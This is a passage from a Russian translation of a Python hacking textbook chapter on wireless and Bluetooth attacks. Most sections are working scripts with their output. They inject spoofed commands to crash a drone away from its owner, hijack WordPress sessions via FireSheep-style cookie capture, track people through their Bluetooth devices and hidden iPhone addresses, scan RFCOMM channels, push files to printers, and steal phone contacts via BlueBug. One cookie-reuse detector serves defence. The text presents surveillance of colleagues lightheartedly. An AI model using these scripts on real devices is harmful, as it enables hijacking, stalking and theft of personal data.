Команда аварийной посадки важна для захвата контроля над БПЛА. Она заставит машину остановить моторы и тут же упасть на землю. Чтобы выполнить эту команду, мы возьмём текущий порядковый номер последовательности действий и переключимся вперёд на 100. Далее введём команду **AT\*COMWDG=\$SEQ\r**. Она переключит счётчик контроля связи на наш новый порядок отсчёта. После этого дрон будет игнорировать предыдущие или непоследовательные для нашего нового отсчёта команды (естественно, те, которые были отданы законным владельцем аппарата через iPhone). Наконец, мы можем отправить аппарату нашу команду аварийной посадки **AT\*REF=\$SEQ, 290717952\r**.

```
EMER = "290717952"
def emergencyland(self):
    spoofSeq = self.seq + 100
    watch = 'AT*COMWDG=%i\r'%spoofSeq
    toCmd = 'AT*REF=%i,%s\r'%(spoofSeq + 1, EMER)
    self.injectCmd(watch)
    self.injectCmd(toCmd)
```

## Завершение атаки, аварийная посадка БПЛА

Давайте воссоздадим наш код и завершим атаку. Во-первых, нам нужно убедиться, что мы сохранили нашу библиотеку дублирования пакетов как **dup.py** для того, чтобы её импортировать. Далее нам нужно изучить нашу основную функцию. Эта функция запускает класс перехватчика потоков, прослушивает трафик для обнаружения БПЛА, а затем предлагает нам выдать команду экстренной посадки. С помощью скрипта Python длиной менее 70 строк мы успешно перехватили беспилотный летательный аппарат. Отлично! Чувствуя себя немного виноватыми за наши деяния, в следующем разделе мы сосредоточимся на выявлении вредоносной активности в незашифрованных беспроводных сетях.

```
import threading
import dup
from scapy.all import *
conf.iface = 'mon0'
NAVPORT = 5556
LAND = '290717696'
EMER = '290717952'
TAKEOFF = '290718208'
class interceptThread(threading.Thread):
    def __init__(self):
```

```

        threading.Thread.__init__(self)
        self.curPkt = None
        self.seq = 0
        self.foundUAV = False
    def run(self):
        sniff(prn=self.interceptPkt, filter='udp port 5556')
    def interceptPkt(self, pkt):
        if self.foundUAV == False:
            print '[*] UAV Found.'
            self.foundUAV = True
            self.curPkt = pkt
            raw = pkt.sprintf('%Raw.load%')
            try:
                self.seq = int(raw.split(',')[0].split('=')[-1]) + 5
            except:
                self.seq = 0
    def injectCmd(self, cmd):
        radio = dup.dupRadio(self.curPkt)
        dot11 = dup.dupDot11(self.curPkt)
        snap = dup.dupSNAP(self.curPkt)
        llc = dup.dupLLC(self.curPkt)
        ip = dup.dupIP(self.curPkt)
        udp = dup.dupUDP(self.curPkt)
        raw = Raw(load=cmd)
        injectPkt = radio / dot11 / llc / snap / ip / udp / raw
        sendp(injectPkt)
    def emergencyland(self):
        spoofSeq = self.seq + 100
        watch = 'AT*COMWDG=%i\r'%spoofSeq
        toCmd = 'AT*REF=%i,%s\r'% (spoofSeq + 1, EMER)
        self.injectCmd(watch)
        self.injectCmd(toCmd)
    def takeoff(self):
        spoofSeq = self.seq + 100
        watch = 'AT*COMWDG=%i\r'%spoofSeq
        toCmd = 'AT*REF=%i,%s\r'% (spoofSeq + 1, TAKEOFF)
        self.injectCmd(watch)
        self.injectCmd(toCmd)
def main():
    uavIntercept = interceptThread()
    uavIntercept.start()
    print '[*] Listening for UAV Traffic. Please WAIT...'
    while uavIntercept.foundUAV == False:
        pass
    while True:
        tmp = raw_input('[-] Press ENTER to Emergency Land UAV.')
        uavIntercept.emergencyland()
if __name__ == '__main__':

```

## Обнаружение FireSheep

На хакерской конференции ToorCon в 2010 году Эрик Батлер презентовал обрушивший все правила игры инструмент, известный как FireSheep (Butler, 2010). Он представлял собой простой интерфейс для удалённого захвата двумя щелчками мыши учётных записей ничего не подозревающих пользователей Facebook, Twitter, Google и дюжины других соцсетей. FireSheep пассивно отслеживал через беспроводную карту файлы cookie HTTP, отправляемые этими веб-сайтами. Если пользователь подключался к небезопасной беспроводной сети и не использовал какие-либо элементы управления на стороне сервера (например, HTTPS) для защиты своего сеанса, FireSheep перехватывал эти файлы cookie для повторного использования уже злоумышленником.

Эрик предоставил простой интерфейс для создания обработчиков, которые определяют конкретные сеансовые файлы cookie для захвата с целью повторного использования. Обратите внимание, что следующий обработчик для файлов cookie Wordpress содержит три функции. Во-первых, это `matchPacket()`, которая идентифицирует файл cookie Wordpress путём поиска регулярного выражения `wordpress_[0-9a-fA-F]{32}`. Далее, если функция соответствует этому регулярному выражению, `processPacket()` извлекает cookie-файл идентификатора сессии Wordpress. Наконец, функция `identifyUser()` анализирует имя пользователя для входа на сайт Wordpress. Заполучив всю эту информацию, злоумышленник входит на сайт.

```
// Authors:
// Eric Butler <eric@codebutler.com>
register({
  name: 'Wordpress',
  matchPacket: function (packet) {
    for (var cookieName in packet.cookies) {
      if (cookieName.match(/wordpress_[0-9a-fA-F]{32}/)) {
        return true;
      }
    }
  },
  processPacket: function () {
    this.siteUrl += 'wp-admin/';
    for (var cookieName in this.firstPacket.cookies) {
      if (cookieName.match(/wordpress_[0-9a-fA-F]{32}/)) {
        this.sessionId = this.firstPacket.cookies[cookieName];
        break;
      }
    }
  },
},
```

```
identifyUser: function () {  
    var resp = this.httpGet(this.siteUrl);  
    this.userName = resp.body.querySelectorAll('#user_info a')[0].  
    textContent;  
    this.siteName = 'Wordpress (' + this.firstPacket.host + ')';  
}  
});
```

## Разбор cookie-файлов сессий Wordpress

Внутри реального пакета эти файлы cookie выглядят следующим образом. Здесь жертва, использующая браузер Safari, подключается к сайту, сделанному на Wordpress, по адресу [www.violentpython.org](http://www.violentpython.org). Обратите внимание на строку, начинающуюся с **wordpress\_e3b**, которая содержит cookie-файл **sessionID** и имя пользователя **victim**.

```
GET /wordpress/wp-admin/HTTP/1.1  
Host: www.violentpython.org  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2)  
AppleWebKit/534.52.7 (KHTML, like Gecko) Version/5.1.2 Safari/534.52.7  
Accept: */*  
Referer: http://www.violentpython.org/wordpress/wp-admin/  
Accept-Language: en-us  
Accept-Encoding: gzip, deflate  
Cookie: wordpress_e3bd8b33fb645122b50046ecbfbeef97=victim%7C1323803979  
%7C889eb4e57a3d68265f26b166020f161b; wordpress_logged_in_e3bd8b33fb645  
122b50046ecbfbeef97=victim%7C1323803979%7C3255ef169aa649f771587fd128ef  
4f57;  
wordpress_test_cookie=WP+Cookie+check  
Connection: keep-alive
```

На следующем рисунке злоумышленник, использующий инструментальный Firesheep в Firefox/3.6.24, обнаружил ту же самую строку, отправленную в незашифрованном виде по беспроводной сети. Затем он использовал эти точные учётные данные для входа на сайт [www.violentpython.org](http://www.violentpython.org). Обратите внимание, что запрос **GET** в HTTP напоминает наш исходный запрос и передаёт тот же файл cookie, но исходит от другого браузера. Это здесь не показано, но важно отметить, что запрос поступает с другого IP-адреса, поскольку злоумышленник не будет использовать тот же компьютер, что и жертва.

```
GET /wordpress/wp-admin/ HTTP/1.1  
Host: www.violentpython.org  
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.7; en-US;  
rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24  
Accept: text/html,application/xhtml+xml,application/  
xml;q=0.9,*/*;q=0.8  
Accept-Language: en-us,en;q=0.5
```

```
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: wordpress_e3bd8b33fb645122b50046ecbfbeef97=victim%7C1323803979
%7C889eb4e57a3d68265f26b166020f161b; wordpress_logged_in_e3bd8b33fb645
122b50046ecbfbeef97=victim%7C1323803979%7C3255ef169aa649f771587fd128ef
4f57; wordpress_test_cookie=WP+Cookie+check
```

## Определяем повторное использование WordPress Cookie

Напишем скрипт Python для анализа HTTP-сессий Wordpress, которые содержат эти cookie-файлы. Поскольку эта атака происходит в незашифрованных сеансах, мы будем фильтровать по TCP-порту 80 для протокола HTTP. Когда мы видим, что регулярное выражение совпадает с файлом cookie Wordpress, мы можем вывести содержимое файла cookie на экран. Так как нам нужно видеть только трафик клиента, мы не будем печатать те файлы cookie с сервера, которые содержат строку «**Set**».

```
import re
from scapy.all import *
def fireCatcher(pkt):
    raw = pkt.sprintf('%Raw.load%')
    r = re.findall('wordpress_[0-9a-fA-F]{32}', raw)
    if r and 'Set' not in raw:
        print pkt.getlayer(IP).src+\
            ">" + pkt.getlayer(IP).dst + " Cookie:" + r[0]
conf.iface = "mon0"
sniff(filter="tcp port 80",prn=fireCatcher)
```

Запустив этот скрипт, мы быстро идентифицируем некоторых потенциальных жертв, подключающихся по незашифрованному беспроводному соединению через стандартный сеанс HTTP к сайтам Wordpress. Когда мы печатаем их конкретные сессионные cookie-файлы на экран, мы замечаем, что злоумышленник из адреса 192.168.1.4 повторно использовал cookie-файл **sessionID** жертвы по адресу 192.168.1.3.

```
defender# python fireCatcher.py
192.168.1.3>173.255.226.98
Cookie:wordpress_ e3bd8b33fb645122b50046ecbfbeef97
192.168.1.3>173.255.226.98
Cookie:wordpress_e3bd8b33fb645122b50046ecbfbeef97
192.168.1.4>173.255.226.98
```

Чтобы засечь злоумышленника, использующего FireSheep, мы должны проверить, не использует ли злоумышленник с другого IP эти значения cookie повторно. Чтобы обнаружить это, мы должны изменить наш предыдущий скрипт. Сейчас мы создадим хэш-таблицу,

проиндексированную cookie-файлом **sessionID**. Если мы видим сеанс Wordpress, мы можем вставить значение в хэш-таблицу и сохранить IP-адрес, связанный с этим ключом. Если мы снова увидим этот ключ, мы сможем сравнить его значения, чтобы обнаружить конфликт в нашей хэш-таблице. Когда мы обнаруживаем конфликт, мы знаем, что перед нами один и тот же файл cookie, связанный с двумя разными IP-адресами.

В этот самый момент мы и можем обнаружить злодея, пытающегося украсть сеанс Wordpress и вывести результат на экран.

```
import re
import optparse
from scapy.all import *
cookieTable = {}
def fireCatcher(pkt):
    raw = pkt.sprintf('%Raw.load%')
    r = re.findall('wordpress_[0-9a-fA-F]{32}', raw)
    if r and 'Set' not in raw:
        if r[0] not in cookieTable.keys():
            cookieTable[r[0]] = pkt.getlayer(IP).src
            print '[+] Detected and indexed cookie.'
        elif cookieTable[r[0]] != pkt.getlayer(IP).src:
            print '[*] Detected Conflict for ' + r[0]
            print 'Victim = ' + cookieTable[r[0]]
            print 'Attacker = ' + pkt.getlayer(IP).src
def main():
    parser = optparse.OptionParser("usage %prog -i<interface>")
    parser.add_option('-i', dest='interface', type='string',\
        help='specify interface to listen on')
    (options, args) = parser.parse_args()
    if options.interface == None:
        print parser.usage
        exit(0)
    else:
        conf.iface = options.interface
    try:
        sniff(filter='tcp port 80', prn=fireCatcher)
    except KeyboardInterrupt:
        exit(0)
if __name__ == '__main__':
    main()
```

Запустив наш скрипт, мы можем идентифицировать злоумышленника, который повторно использовал Wordpress-cookie **sessionID** от жертвы, пытаясь украсть сеанс Wordpress этого человека. На данный момент мы освоили sniffing беспроводных сетей 802.11 с помощью Python. Давайте перейдём к следующим разделам, чтобы разобраться, как атаковать устройства Bluetooth с помощью Python.

```
defender# python fireCatcher.py
[+] Detected and indexed cookie.
[*] Detected Conflict for:
wordpress_ e3bd8b33fb645122b50046ecbfbeef97
Victim = 192.168.1.3
Attacker = 192.168.1.4
```

## Преследование с помощью Bluetooth и Python

Аспирантские исследования иногда могут оказаться пугающе сложной задачей. Великая миссия исследования новой темы требует кооперации между участниками всей группы. Мне было чрезвычайно полезно всегда знать местонахождение моих коллег. Поскольку мои исследования в аспирантуре вращались вокруг протокола Bluetooth, он также показался мне отличным средством слежки за ними.

Для взаимодействия с ресурсами Bluetooth нам необходим модуль Python **PyBluez**. Этот модуль расширяет функциональные возможности, предоставляемые библиотекой Bluez, для использования ресурсов Bluetooth. Обратите внимание, что после того, как мы импортируем библиотеку Bluetooth, мы можем просто воспользоваться функцией **discover\_devices()**, чтобы вернуть массив MAC-адресов соседних устройств с моделью обнаружения. Далее мы можем преобразовать MAC-адрес устройства Bluetooth в удобное для пользователя имя строки для этого устройства с помощью функции **lookup\_name()**. Наконец, мы можем вывести на экран информацию об устройстве.

```
from bluetooth import *
devList = discover_devices()
for device in devList:
    name = str(lookup_name(device))
    print "[+] Found Bluetooth Device " + str(name)
    print "[+] MAC address: "+str(device)
```

Давайте сделаем этот запрос непрерывно возобновляющимся. Для этого поместим этот код в функцию **findDevs** и будем выводить те новые устройства, которые мы найдём. Мы можем использовать массив с названием **alreadyFound**, чтобы отслеживать уже обнаруженные устройства. Каждое найденное устройство мы можем проверить на предмет того, существует ли оно в массиве. Если нет, мы выведем его имя и адрес на экране перед добавлением его в массив. Внутри нашего основного кода мы можем создать бесконечный цикл, который запускает **findDevs()** и затем «спит» в течение 5 секунд.

```
import time
from bluetooth import *
alreadyFound = []
def findDevs():
```

```

foundDevs = discover_devices(lookup_names=True)
for (addr, name) in foundDevs:
    if addr not in alreadyFound:
        print '[*] Found Bluetooth Device: ' + str(name)
        print '[+] MAC address: ' + str(addr)
        alreadyFound.append(addr)
while True:
    findDevs()
    time.sleep(5)

```

Теперь мы можем запустить наш скрипт и посмотреть, сможем ли мы определить какие-либо устройства Bluetooth поблизости. Обратите внимание: мы нашли принтер и iPhone. Вывод показывает их удобные для пользователя имена, за которыми следуют их MAC-адреса.

```

attacker# python btScan.py
[-] Scanning for Bluetooth Devices.
[*] Found Bluetooth Device: Photosmart 8000 series
[+] MAC address: 00:16:38:DE:AD:11
[-] Scanning for Bluetooth Devices.
[-] Scanning for Bluetooth Devices.
[*] Found Bluetooth Device: TJ iPhone
[+] MAC address: D0:23:DB:DE:AD:02

```

Теперь мы можем написать простую функцию, чтобы она оповещала нас, когда эти конкретные устройства оказываются в нашем диапазоне. Обратите внимание, что мы изменили нашу исходную функцию, добавив параметр **tgtName** и выполнив поиск в нашем списке обнаружения по этому конкретному адресу.

```

import time
from bluetooth import *
alreadyFound = []
def findDevs():
    foundDevs = discover_devices(lookup_names=True)
    for (addr, name) in foundDevs:
        if addr not in alreadyFound:
            print '[*] Found Bluetooth Device: ' + str(name)
            print '[+] MAC address: ' + str(addr)
            alreadyFound.append(addr)
while True:
    findDevs()
    time.sleep(5)

```

На данный момент у нас есть «боевой» инструмент, который оповещает нас, когда конкретное устройство Bluetooth, такое как iPhone, оказывается в здании.

```

attacker# python btFind.py

```



```
[+] Scanning for Bluetooth Device: TJ iPhone
[*] Found Target Device TJ iPhone
[+] Time is: 2012-06-24 18:05:49.560055
[+] With MAC Address: D0:23:DB:DE:AD:02
[+] Time is: 2012-06-24 18:06:05.829156
```

## Перехват беспроводного трафика для поиска адресов Bluetooth

Однако это решает лишь половину проблемы. Наш скрипт находит только устройства с установленным для них Bluetooth-режимом **discoverable**. Устройства с режимом конфиденциальности **hidden** «прячутся» от запросов нашего устройства. Так как же нам их найти? Давайте рассмотрим один трюк для нацеливания на Bluetooth-устройства iPhone в скрытом режиме. Добавление цифры 1 к MAC-адресу беспроводного устройства 802.11 идентифицирует MAC-адрес Bluetooth-устройства для iPhone. Поскольку беспроводное устройство 802.11 не использует элементы управления уровня 2 для защиты MAC-адреса, мы можем просто поснифить его, и затем использовать эту информацию для вычисления MAC-адреса Bluetooth-устройства.

Давайте настроим наш сниффер для MAC-адреса беспроводного устройства. Обратите внимание, что мы фильтруем только те MAC-адреса, которые содержат определённый набор из трёх байтов для первых трёх октетов MAC-адреса. Первые три байта служат уникальным идентификатором организации (Organizational Unique Identifier (OUI)), который указывает на производителя устройства. Вы можете дополнительно исследовать это с помощью базы данных OUI по адресу <http://standards.ieee.org/cgi-bin/ouisearch>. Для этого конкретного примера мы будем использовать OUI **d0:23:db** (это OUI для продукта Apple iPhone 4S). Если вы поищете в базе данных OUI, вы можете удостовериться, что устройства с этими 3 байтами принадлежат Apple.

```
D0-23-DB      (hex) Apple, Inc.
D023DB        (base 16) Apple, Inc.
                  1 Infinite Loop
                  Cupertino CA 95014
                  UNITED STATES
```

Наш скрипт отслеживает фрейм 802.11 с MAC-адресом, который совпадает с первыми тремя байтами iPhone 4S. В случае обнаружения он выведет этот результат на экран и сохранит MAC-адрес 802.11.

```
from scapy.all import *
def wifiPrint(pkt):
    iPhone_OUI = 'd0:23:db'
    if pkt.haslayer(Dot11):
        wifiMAC = pkt.getlayer(Dot11).addr2
        if iPhone_OUI == wifiMAC[:8]:
```

```

        print '[*] Detected iPhone MAC: ' + wifiMAC
    conf.iface = 'mon0'
    sniff(prn=wifiPrint)

```

Теперь, когда мы определили MAC-адрес беспроводного устройства 802.11 iPhone, нам нужно создать MAC-адрес Bluetooth-устройства. Мы можем рассчитать MAC-адрес Bluetooth, прирастив адрес Wi-Fi 802.11 с помощью цифры 1.

```

def retBtAddr(addr):
    btAddr=str(hex(int(addr.replace(':', ''), 16) + 1))[2:]
    btAddr=btAddr[0:2]+":"+btAddr[2:4]+":"+btAddr[4:6]+":"+btAddr[6:8]+":"+btAddr[8:10]+":"+btAddr[10:12]
    return btAddr

```

С этим MAC-адресом злоумышленник может выполнить запрос имени устройства, чтобы посмотреть, существует ли устройство на самом деле. Даже в режиме **hidden** Bluetooth-устройство всё равно будет отвечать на запрос имени устройства. Если Bluetooth-устройство отвечает, мы можем вывести имя и MAC-адрес на экран. Есть одна оговорка – продукт iPhone использует режим энергосбережения, который отключает радиомодуль Bluetooth, когда он не подключён или не используется с другим устройством. Однако когда iPhone сопряжён с гарнитурой или автомобильной аудиосистемой громкой связи и находится в скрытом режиме конфиденциальности, он всё равно будет отвечать на запросы имён устройств. Если во время вашего тестирования скрипт работает неправильно, попробуйте подключить ваш iPhone к другому Bluetooth-устройству.

```

def checkBluetooth(btAddr):
    btName = lookup_name(btAddr)
    if btName:
        print '[+] Detected Bluetooth Device: ' + btName
    else:
        print '[-] Failed to Detect Bluetooth Device.'

```

Когда мы соединим вместе весь наш скрипт, у нас появится возможность идентифицировать скрытое Bluetooth-устройство в Apple iPhone.

```

from scapy.all import *
from bluetooth import *
def retBtAddr(addr):
    btAddr=str(hex(int(addr.replace(':', ''), 16) + 1))[2:]
    btAddr=btAddr[0:2]+":"+btAddr[2:4]+":"+btAddr[4:6]+":"+btAddr[6:8]+":"+btAddr[8:10]+":"+btAddr[10:12]
    return btAddr
def checkBluetooth(btAddr):
    btName = lookup_name(btAddr)

```

```

if btName:
    print '[+] Detected Bluetooth Device: ' + btName
else:
    print '[-] Failed to Detect Bluetooth Device.'
def wifiPrint(pkt):
    iPhone_OUI = 'd0:23:db'
    if pkt.haslayer(Dot11):
        wifiMAC = pkt.getlayer(Dot11).addr2
        if iPhone_OUI == wifiMAC[:8]:
            print '[*] Detected iPhone MAC: ' + wifiMAC
            btAddr = retBtAddr(wifiMAC)
            print '[+] Testing Bluetooth MAC: ' + btAddr
            checkBluetooth(btAddr)
conf.iface = 'mon0'
sniff(prn=wifiPrint)

```

Когда мы запускаем наш скрипт, мы видим, что он идентифицирует MAC-адреса беспроводного устройства iPhone 802.11 и его MAC-адреса Bluetooth. В следующем разделе мы ещё глубже залезем в устройство, сканируя информацию о различных портах и протоколах Bluetooth.

```

attacker# python find-my-iphone.py
[*] Detected iPhone MAC: d0:23:db:de:ad:01
[+] Testing Bluetooth MAC: d0:23:db:de:ad:02
[+] Detected Bluetooth Device: TJ's iPhone

```

## Сканирование Bluetooth-каналов RFCOMM

На выставке CeBit в 2004 году Герфурт и Лори продемонстрировали уязвимость Bluetooth, которую они назвали **BlueBug** (Herfurt, 2004). Эта уязвимость «оголяла» транспортный протокол Bluetooth RFCOMM. RFCOMM эмулирует последовательные порты RS232 через протокол Bluetooth L2CAP. По сути, он создаёт соединение Bluetooth с устройством, которое имитирует простой последовательный кабель, позволяя пользователю инициировать телефонные звонки, отправлять SMS, читать записи телефонной книги, переадресовывать звонки или подключаться к Интернету через Bluetooth.

Хотя RFCOMM предоставляет возможность аутентифицировать и шифровать соединение, производители иногда пренебрегают этой функцией и разрешают неаутентифицированные соединения с устройством. Герфурт и Лори написали инструмент, который подключается к неаутентифицированным каналам устройства и выдаёт команды для управления или загрузки содержимого устройства. В следующем разделе мы напишем сканер для обнаружения неаутентифицированных каналов RFCOMM.

При взгляде на следующий код, соединения RFCOMM кажутся очень похожими на стандартные соединения сокетов TCP. Чтобы подключиться к порту RFCOMM, мы создадим

**BluetoothRFCOMM-typeBluetoothSocket**. Затем передадим функцию **connect()** массиву, содержащему MAC-адрес и порт нашей цели. Если нам это удастся, мы узнаем, что канал RFCOMM открыт и прослушивается. Если функция выдаёт исключение, мы знаем, что не удаётся подключиться к этому порту. Мы повторим попытку подключения для каждого из 30 возможных портов RFCOMM.

```
from bluetooth import *
def rfcommCon(addr, port):
    sock = BluetoothSocket(RFCOMM)
    try:
        sock.connect((addr, port))
        print '[+] RFCOMM Port ' + str(port) + ' open'
        sock.close()
    except Exception, e:
        print '[-] RFCOMM Port ' + str(port) + ' closed'
for port in range(1, 30):
    rfcommCon('00:16:38:DE:AD:11', port)
```

Когда мы запускаем наш скрипт для находящегося по соседству принтера, мы видим пять открытых портов RFCOMM. Тем не менее, у нас нет реальных данных о том, какие службы предоставляют эти порты. Чтобы узнать больше об этих службах, нам нужно применить профиль обнаружения служб Bluetooth.

```
attacker# python rfcommScan.py
[+] RFCOMM Port 1 open
[+] RFCOMM Port 2 open
[+] RFCOMM Port 3 open
[+] RFCOMM Port 4 open
[+] RFCOMM Port 5 open
[-] RFCOMM Port 6 closed
[-] RFCOMM Port 7 closed
<..ПРОПУЩЕНО...>
```

## Работа с протоколом обнаружения службы Bluetooth

Протокол обнаружения службы Bluetooth (SDP) предлагает простой способ описания и перечисления типов профилей Bluetooth и служб, предлагаемых устройством. При просмотре профиля SDP устройства описываются службы, работающие в каждом уникальном протоколе Bluetooth и порте. Использование функции **find\_service()** возвращает массив записей. Эти записи содержат хост, имя, описание, имя провайдера, протокол, порт, service-class, профили и service ID для каждой доступной службы в цели Bluetooth. Для наших целей наш скрипт выведет имя службы, протокол и номер порта.

```
from bluetooth import *
```

```
def sdpBrowse(addr):
    services = find_service(address=addr)
    for service in services:
        name = service['name']
        proto = service['protocol']
        port = str(service['port'])
        print '[+] Found ' + str(name)+' on '+'\
            str(proto) + ':' + port
sdpBrowse('00:16:38:DE:AD:11')
```

Когда мы запускаем скрипт на нашем Bluetooth-принтере, мы видим, что порт 2 RFCOMM предлагает профиль OBEX Object Push. Служба Object Exchange (OBEX) предоставляет нам возможность, аналогичную анонимному FTP, когда мы можем «инкогнито» передавать и извлекать файлы из системы. Там может оказаться что-нибудь достойное дальнейшего изучения на принтере.

```
attacker# python sdpScan.py
[+] Found Serial Port on RFCOMM:1
[+] Found OBEX Object Push on RFCOMM:2
[+] Found Basic Imaging on RFCOMM:3
[+] Found Basic Printing on RFCOMM:4
[+] Found Hardcopy Cable Replacement on L2CAP:8193
```

## Подчинение принтера с помощью Python ObexFTP

Давайте продолжим нашу атаку на принтер. Поскольку он предлагает OBEX Object Push на порте 2 RFCOMM, мы попробуем подкинуть ему какую-нибудь картинку. Для подключения к принтеру будем использовать **obexftp**. Далее отправим файл изображения под именем /tmp/ninja.jpg с нашей рабочей станции атаки. При успешном завершении передачи файла наш принтер начнёт печатать для нас красивую фотографию ниндзя. Это захватывающе, но не обязательно рискованно - поэтому мы продолжим использовать эту методологию в следующем разделе для проведения уже более фатальных атак на телефоны, которые предлагают услуги Bluetooth.

```
import obexftp
try:
    btPrinter = obexftp.client(obexftp.BLUETOOTH)
    btPrinter.connect('00:16:38:DE:AD:11', 2)
    btPrinter.put_file('/tmp/ninja.jpg')
    print '[+] Printed Ninja Image.'
except:
    print '[-] Failed to print Ninja Image.'
```

## ФРОНТОВЫЕ СВОДКИ

### Пэрис Хилтон взломали не через Bluetooth

В 2005 году Пэрис Хилтон была не самой известной из числа звёзд реалити-шоу. Однако всё изменилось с появлением в интернете вирусного видео. Позже за взлом телефона модели T-Mobile Sidekick, принадлежавшего Пэрис Хилтон, был осуждён 17-летний тинэйджер из Массачусетса. Получив доступ, он похитил содержимое адресной книги Пэрис, блокнота, папки с фотографиями, и опубликовал это в интернете – история знает, что было дальше. За свои преступления он отбыл 11 месяцев в тюрьме для несовершеннолетних (Krebs, 2005). Атака произошла всего через два дня после публичного релиза первого червя для Bluetooth, известного как Cabir. Торопясь поскорее выдать сенсацию, несколько новостных агентств ошибочно сообщили, что атака произошла из-за уязвимости Bluetooth на телефоне Пэрис. Однако на самом деле злоумышленник воспользовался изъяном, который позволил ему получить пароли телефона Пэрис и доступ к нему. Хотя новости о способе взлома и оказались ложными, они привлекли внимание всей страны к нескольким малоизвестным уязвимостям протокола Bluetooth.

### BlueBugging телефона с помощью Python

В этом разделе мы воссоздадим вектор недавней атаки на телефоны с поддержкой Bluetooth. Атака, названная BlueBug из-за своего происхождения, использует неаутентифицированное и незащищённое соединение на телефоне для похищения его данных или подачи команд непосредственно на телефон. BlueBug использует канал RFCOMM для подачи AT-команд в качестве инструмента для удалённого управления устройством. Это позволяет злоумышленнику читать и отправлять СМС-сообщения, собирать личную информацию и принудительно набирать номер 1–900.

Например, злоумышленник мог управлять телефоном Nokia 6310i (до версии прошивки 5.51) через канал 17 RFCOMM. В предыдущих версиях прошивки этого телефона канал 17 RFCOMM не требовал аутентификации для соединения. Злоумышленник мог просто выполнить поиск открытых каналов RFCOMM, найти открытый канал RFCOMM 17, а затем подключиться и выдать команду AT для сброса телефонной книги.

Давайте повторим эту атаку в Python. Опять же, нам нужно будет импортировать привязки Python в Bluez API. После определения нашего целевого адреса и уязвимого порта RFCOMM мы создаём соединение с открытым, не прошедшим проверку подлинности и незашифрованным портом. Используя это вновь созданное соединение, мы выдаём команду

(например «AT+CPBR=1»), чтобы получить первый контакт в телефонной книге. Повторение этой команды для последующих значений похищает всю телефонную книгу.

```
import bluetooth
tgtPhone = 'AA:BB:CC:DD:EE:FF'
port = 17
phoneSock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
phoneSock.connect((tgtPhone, port))
for contact in range(1, 5):
    atCmd = 'AT+CPBR=' + str(contact) + '\n'
    phoneSock.send(atCmd)
    result = client_sock.recv(1024)
    print '[+] ' + str(contact) + ': ' + result
sock.close()
```

Атаковав уязвимый телефон, мы можем получить первые пять контактов. Меньше пятнадцати строк кода - и мы можем удалённо украсть телефонную книгу через Bluetooth. Отлично!

```
attacker# python bluebug.py
[+] 1: +CPBR: 1,"555-1234",,"Joe Senz"
[+] 2: +CPBR: 2,"555-9999",,"Jason Brown"
[+] 3: +CPBR: 3,"555-7337",,"Glen Godwin"
[+] 4: +CPBR: 4,"555-1111",,"Semion Mogilevich"
[+] 5: +CPBR: 5,"555-8080",,"Robert Fisher"
```

## Итоги главы

Поздравляем! В этой главе мы написали много инструментов, которые можно использовать для анализа наших беспроводных сетей и устройств Bluetooth. Мы начали с перехвата беспроводных сетей для получения доступа к личной информации. Далее мы узнали, как распределять беспроводной трафик 802.11 для обнаружения предпочитаемых сетей и поиска скрытых точек доступа. После этого мы «уронили» на землю беспилотник и создали инструмент для обнаружения «беспроводных» хакерских инструментов. «В дополнение» к протоколу Bluetooth мы создали инструмент для обнаружения местонахождения устройств Bluetooth, их сканирования, а также «обращения в рабство» принтера и телефона.

Надеюсь, вам понравилась эта глава. Мне понравилось её писать. Я не могу сказать то же самое от лица моей жены, которой пришлось иметь дело с бесчисленными фотографиями ниндзя, выползавшими из её принтера, таинственно разряжавшимся аккумулятором её iPhone, внезапно пропадающей домашней точкой доступа, или от лица моей пятилетней дочери, чей игрушечный беспилотник постоянно падал с неба после того, как папаша усовершенствовал свой код. В следующей главе мы рассмотрим некоторые способы ведения разведки с открытым исходным кодом в социальных сетях с использованием Python.

## Ссылки

- Adams, D. (1980). *The hitchhiker's guide to the galaxy* (Perma-Bound ed.). New York: Ballantine Books.
- Butler, E. (2010, October 24). *Firesheep*. Retrieved from <http://codebutler.com/firesheep>.
- Friedberg, S. (2010, June 3). Source Code Analysis of gstumbler. Retrieved from <static.googleusercontent.com/external\_content/untrusted\_dlcp/www.google.com/en/us/googleblogs/pdfs/friedberg\_sourcecode\_analysis\_060910.pdf>.
- Albert Gonzalez v. United States of America (2008, August 5). U.S.D.C. District of Massachusetts 08-CR-10223. Retrieved from [www.justice.gov/usao/ma/news/IDTheft/Gonzalez,%20Albert%20-%20Indictment%20080508.pdf](http://www.justice.gov/usao/ma/news/IDTheft/Gonzalez,%20Albert%20-%20Indictment%20080508.pdf).
- Herfurt, M. (2004, March 1). Bluesnarfing @ CeBIT 2004—Detecting and attacking bluetooth-enabled cellphones at the Hannover fairground. Retrieved from <trifinite.org/Downloads/BlueSnarf\_CeBIT2004.pdf>.
- Krebs, B. (2005, November 13). Teen pleads guilty to hacking Paris Hilton's phone. *The Washington Post*. Retrieved from <http://www.washingtonpost.com/wp-dyn/content/article/2005/09/13/AR2005091301423.html>.
- McCullagh, D. (2009, December 17). U.S. was warned of predator drone hacking. *CBS News*. Retrieved from [http://www.cbsnews.com/8301-504383\\_162-5988978-504383.html](http://www.cbsnews.com/8301-504383_162-5988978-504383.html).
- Peretti, K. (2009). *Data breaches: What the underground world of carding reveals*. Retrieved from [www.justice.gov/criminal/cybercrime/DataBreachesArticle.pdf](http://www.justice.gov/criminal/cybercrime/DataBreachesArticle.pdf).
- Shane, S. (2009, December 18). Officials say Iraq fighters intercepted drone video. *NYTimes.com*. Retrieved from <http://www.nytimes.com/2009/12/18/world/middleeast/18drones.html>.
- SkyGrabber. (2011). *Official site for programs SkyGrabber*. Retrieved from <http://www.skygrabber.com/en/index>.
- US Secret Service (2007, September 13). *California man arrested on wire fraud, identity theft charges*. Press Release, US Secret Service. Retrieved from [www.secretservice.gov/press/GPA11-07\\_PITIndictment.pdf](http://www.secretservice.gov/press/GPA11-07_PITIndictment.pdf).
- Zetter, K. (2009, June 18). TJX hacker was awash in cash; his penniless coder faces prison. *Wired*. Retrieved from [www.wired.com/threatlevel/2009/06/watt](http://www.wired.com/threatlevel/2009/06/watt).



# Глава 6: Python и разведка сети

## С чем мы столкнёмся в этой главе:

